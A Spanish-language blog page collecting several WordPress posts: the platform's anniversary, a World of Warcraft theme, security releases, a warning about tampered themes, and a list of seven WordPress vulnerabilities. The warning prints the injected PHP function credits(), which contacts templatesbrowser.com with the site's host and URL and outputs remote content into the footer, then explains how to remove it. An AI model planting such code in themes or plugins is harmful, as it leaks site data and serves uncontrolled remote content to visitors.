gEEK tHE pLANET

Me entero gracias a ALT1040 que hoy 24 de enero Wordpress está en su 5 aniversario, que rápido se pasa el tiempo. La historia del surgimiento de wordpress no la conocia, pero fue la misma que yo tuve cuando quise empezar, necesitaba algo lo suficientemente bien hecho y flexible para empezar rápido, no tenia ni el tiempo ni las capacidad para empezar desde cero.

Gracias a la excelente idea de Matt Mullenweg ya sólo tengo que gaste tiempo en hacer un par de modificaciones, hacer un nuevo theme y listo.

Yo empecé con wordpress hace mas o menos unos 3-4 años, quede enganchado desde el principio por la facilidad de manejo que tenia, luego de 4 años no me dejan de gustar esta plataforma, ojala la tengamos por un largo tiempo.

Gracias a aNieto2k me entero de este espectacular theme diseñado por LordmaX, basado en el famoso juego de rol Online WoW (World of Warcraft), está en español.

Demo: WoWMaX
Descargar: WoWMax

Las version 2.2.2 y 2.0.11 de Wordpress han sido liberadas, como siempre la actualización es altamente recomendada ya que se corrigen fallos de seguridad importantes.

No es necesario actualizar todos los archivos, la gente de Wordpress trac nos indica que archivos han cambiado de Wordpress 2.2.1 a 2.2.2 y cuales de Wordpress 2.0.10 a 2.0.11.

Los parches para que solo descarguen y reemplacen:
Actualizar WordPress 2.2.1 a 2.2.2
Actualizar WordPress 2.0.10 a 2.0.11

Y recuerden siempre realizar las descargas desde el sitio oficial:
Wordpress Download

Leyendo en el blog de Andres Nieto me doy cuenta de este nuevo intento para perjudicar a los usuarios de Wordpress, en este caso se trata de inserción de código malicioso en algunos themes descargados de sitios como templatesbrowser.com.

El código lo podemos ver en el archivo functions.php (dentro de nuestro theme por supuesto), lo que podemos ver es algo como lo siguiente:
[php] function credits()
{
$url = "http://1.templatesbrowser.com/wp.php?" .
"url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("1.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}
?>[/php]

Esta función la podemos ver incluida en el fichero footer.php:

Se trata de una conexión mediante sockets a la página de templatebrowser.com que nos devuelve los créditos del theme, al parecer se está utilizando igualmente esta función para meterle publicidad oculta al theme.

La solución:

Pues eliminar la función credits() del archivo functions.php y del footer.php.

Leyendo en buayacorp me doy cuenta de estos “nuevos” problemas de seguridad:

1. Wordpress Persistant XSS Vulnerability in the Default Theme (v.2.2): Los parámetros para la imagen y color de la cabecera en el tema por omisión de WordPress (Kubrick) son vulnerables. Aunque no lo probé, me parece que es parecido al que reporté hace tiempo.
2. Wordpress /options.php SQL Injection Vulnerability: El parámetro page_options no está correctamente validado en wp-admin/options.php. Sólo los usuarios con nivel Administrador pueden explotar esta vulnerabilidad.
3. Wordpress /options.php Information Disclosure: Esta vulnerabilidad se deriva de la anterior, porque en wp-admin/options.php se asume que el nombre de las opciones son seguras.
4. Wordpress /options.php Persistant XSS Vulnerability.
5. Wordpress /edit-comments.php Database Error (Bug): Simplemente muestra un error en la consulta si el valor de la página es negativo.
6. Wordpress /link-import.php XSS Vulnerability: El parámetro cat_id no es filtrado adecuadamente, para explotarlo requiere tener un valor adecuado para el parámetro _wpnonce.
7. Wordpress /upload.php XSS Vulnerability: En este caso el parámetro style es inseguro.

La misma persona que reportó y estudio estos 7 bugs se encargó de hacer un XSS WORM (gusano).

En esta página encontrarán cada una de las vulnerabilidad explicadas debidamente.
En esta otra pueden encontrar la descripción paso a paso como funciona el gusano.

Y lo más importante, el parche no oficial para wordpress 2.2.1.